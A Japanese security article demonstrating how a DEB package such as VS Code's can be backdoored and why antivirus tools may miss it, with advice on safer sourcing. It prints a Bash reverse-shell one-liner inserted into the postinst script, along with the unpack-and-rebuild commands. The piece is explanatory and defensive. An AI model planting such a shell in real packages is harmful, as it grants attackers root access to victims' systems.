DEBパッケージにバックドアが仕込まれる仕組みと検出方法

概要

  • DEBパッケージには簡単にバックドアを仕込むことができ、攻撃者はあなたがroot権限でそれらをインストールするときに、悪意のあるコードをあなたのシステムに注入することができます。
  • 感染したDEBパッケージは、ウイルス対策ソフトウェアやVirusTotalのようなクラウドソリューションでフラグが立てられない可能性があるため、検出が困難です。
  • 自分自身を守るために、ランダムなサイトからDEBパッケージをダウンロードせず、公式のダウンロードサイトまたはコミュニティで信頼されているサイトに固執し、Linuxシステムをネットワーク攻撃から守るためにセキュリティツールをインストールすることを検討してください。

DEBファイルは、DebianベースのLinuxディストリビューションでソフトウェアを配布するための主要なフォーマットであるソフトウェアパッケージです。

DEBパッケージをインストールするには、dpkgのようなパッケージマネージャーをroot権限で使用しなければなりません。攻撃者はこれを悪用し、これらのパッケージにバックドアを注入します。dpkgまたは他のパッケージマネージャーでそれらをインストールすると、悪意のあるコードも実行され、あなたのシステムが侵害されます。

DEBパッケージにバックドアが仕込まれる仕組みと、自分自身を守るためにできることを詳しく見ていきましょう。

DEBパッケージにバックドアが仕込まれる仕組みとは?

DEBパッケージにバックドアがどのように仕込まれるのかを理解する前に、DEBパッケージの中身を見てみましょう。デモンストレーションのために、MicrosoftのウェブサイトからMicrosoft Visual Studio CodeのDEBパッケージをダウンロードします。これは、LinuxにVS Codeをインストールしたい場合にダウンロードするパッケージと同じです。

ダウンロード:Visual Studio Code

ターゲットパッケージのダウンロードが完了したら、次はそれを解凍します。dpkg-debコマンドに-Rフラグを付けて、内容を格納するパスを指定することで、DEBパッケージを解凍することができます:

dpkg-deb -R  

これで、VS Codeパッケージの内容が抽出されるはずです。

フォルダーに移動すると複数のディレクトリがありますが、私たちの興味はDEBIANディレクトリのみです。このディレクトリには、root権限でインストール時に実行されるメインテナーのスクリプトが含まれています。すでに気づいているかもしれませんが、攻撃者はこのディレクトリのスクリプトを改変します。

デモンストレーションのために、postinstスクリプトを改変し、シンプルな1行のBashリバースTCPシェルを追加します。名前が示すように、これはパッケージがシステムにインストールされた後に実行されるスクリプトです。

シンボリックリンクの設定、依存関係の処理など、設定を確定するコマンドが含まれています。インターネット上にはさまざまなリバースシェルの例が多数あります。ほとんどが同じように機能します。ここに、リバースシェルの1行の例を示します:

bash -i >& /dev/tcp/127.0.0.1/42069 0>&1

コマンドの説明:

  • bash:これは、Bashシェルを呼び出すコマンドです。
  • -i:このフラグは、Bashにインタラクティブモードで実行し、リアルタイムのコマンドI/Oを許可するように指示します。
  • >& /dev/tcp/ip/port:これは、標準出力と標準エラーをネットワークソケットにリダイレクトし、本質的にへのTCP接続を確立します。
  • 0>&1:これは、入力と出力を同じ場所に、つまりネットワークソケットにリダイレクトします。

初心者の方のために説明すると、リバースシェルとは、ターゲットマシンで実行されると、攻撃者のマシンに接続を逆戻しするコードの一種です。リバースシェルは、トラフィックがファイアウォールの背後にあるマシンから生成されるため、ファイアウォールの制限をバイパスするのに最適な方法です。

改変されたスクリプトは以下のようになります:

ご覧のとおり、すべて同じですが、1行だけ追加されています。それが、私たちのBashリバースシェルです。これで、ファイルを「.deb」形式に戻してビルドする必要があります。dpkgコマンドに--buildフラグを付けて使用するか、dpkg-debコマンドに-bフラグを付けて、抽出した内容のパスを指定するだけです:

dpkg --build dpkg-deb -b 

これで、バックドア付きのDEBパッケージが用意でき、悪意のあるサイトで配布される準備が整いました。被害者がDEBパッケージを自分のシステムにダウンロードし、他の通常のパッケージと同様にインストールするシナリオをシミュレートしてみましょう。

上部の端末ペインは被害者の視点、下部の端末ペインは攻撃者の視点です。被害者はsudo dpkg -iでパッケージをインストールしており、攻撃者はLinuxのnetcatコマンドを使って忍耐強く着信接続を待っています。

インストールが完了するとすぐに、攻撃者がリバースシェルの接続を取得し、被害者のシステムへのrootアクセス権を取得します。これで、DEBパッケージにバックドアが仕込まれる仕組みがわかりました。それでは、自分自身を守る方法を見ていきましょう。

悪意のあるDEBパッケージを検出する方法

感染したDEBパッケージが存在することを知った今、どのように感染したパッケージを見つけるのか疑問に思っているでしょう。まず、ClamAVのようなLinuxアンチウイルスソフトウェアを使用してみることができます。残念ながら、ClamAVスキャンをパッケージで実行しても、悪意のあるものとしてフラグを立てませんでした。スキャンの結果は次のとおりです:

そのため、プレミアムアンチウイルスソリューション(ハッキングされないという保証はありません)を導入しない限り、悪意のあるDEBパッケージを検出するのは非常に困難です。VirusTotal Webサイトのようなクラウドソリューションを使用してみましょう:

ご覧のとおり、VirusTotalは何も問題を検出しませんでした。このような脅威から身を守る唯一の方法は、未知のソースからファイルをダウンロードしない、常にファイルのハッシュを確認する、怪しげなソフトウェアをインストールしないなどの基本的なセキュリティ対策に従うことです。

インターネットにはこのような脅威が満ちています。データを失わずに閲覧する唯一の方法は、機転を利かせて信頼できるサイトを閲覧することです。さらに、Linuxの場合は、ダウンロードするソフトウェアにAppImageの亜種があるかどうかを確認することもお勧めします。AppImageは自己完結型でサンドボックス化できるため、システムとの接触を避けることができます。

ランダムなサイトからDEBパッケージをダウンロードしないでください!

DEBパッケージ自体は悪ではありませんが、攻撃者は簡単に武器化して、何も知らないユーザーに配布することができます。実証したように、DEBパッケージは簡単に開いて、ほんの数コマンドでカスタムコードを追加して改変することができ、マルウェアを配布するための一般的な手段となっています。

DEBパッケージのシンプルなバックドアでさえ、トップのアンチウイルスソリューションでは検出されません。そのため、最善の方法は安全策を講じること、ウェブを閲覧する際には常識を持ち、ソフトウェアは常に公式のダウンロードサイトまたはコミュニティで信頼されているサイトからダウンロードすることです。

セキュリティツールをインストールしてLinux PCを保護する

新しいサイトや未知のサイトからDEBパッケージをインストールすることのリスクを認識した今、新しいソフトウェアをインストールする際には注意する必要があります。しかし、インストールするものを注意するだけでは十分ではありません。Linuxシステムはネットワーク攻撃の標的にもなり得ます。

ネットワーク攻撃が発生した場合に安全を確保するには、ネットワークセキュリティツールをインストールすることを検討してください。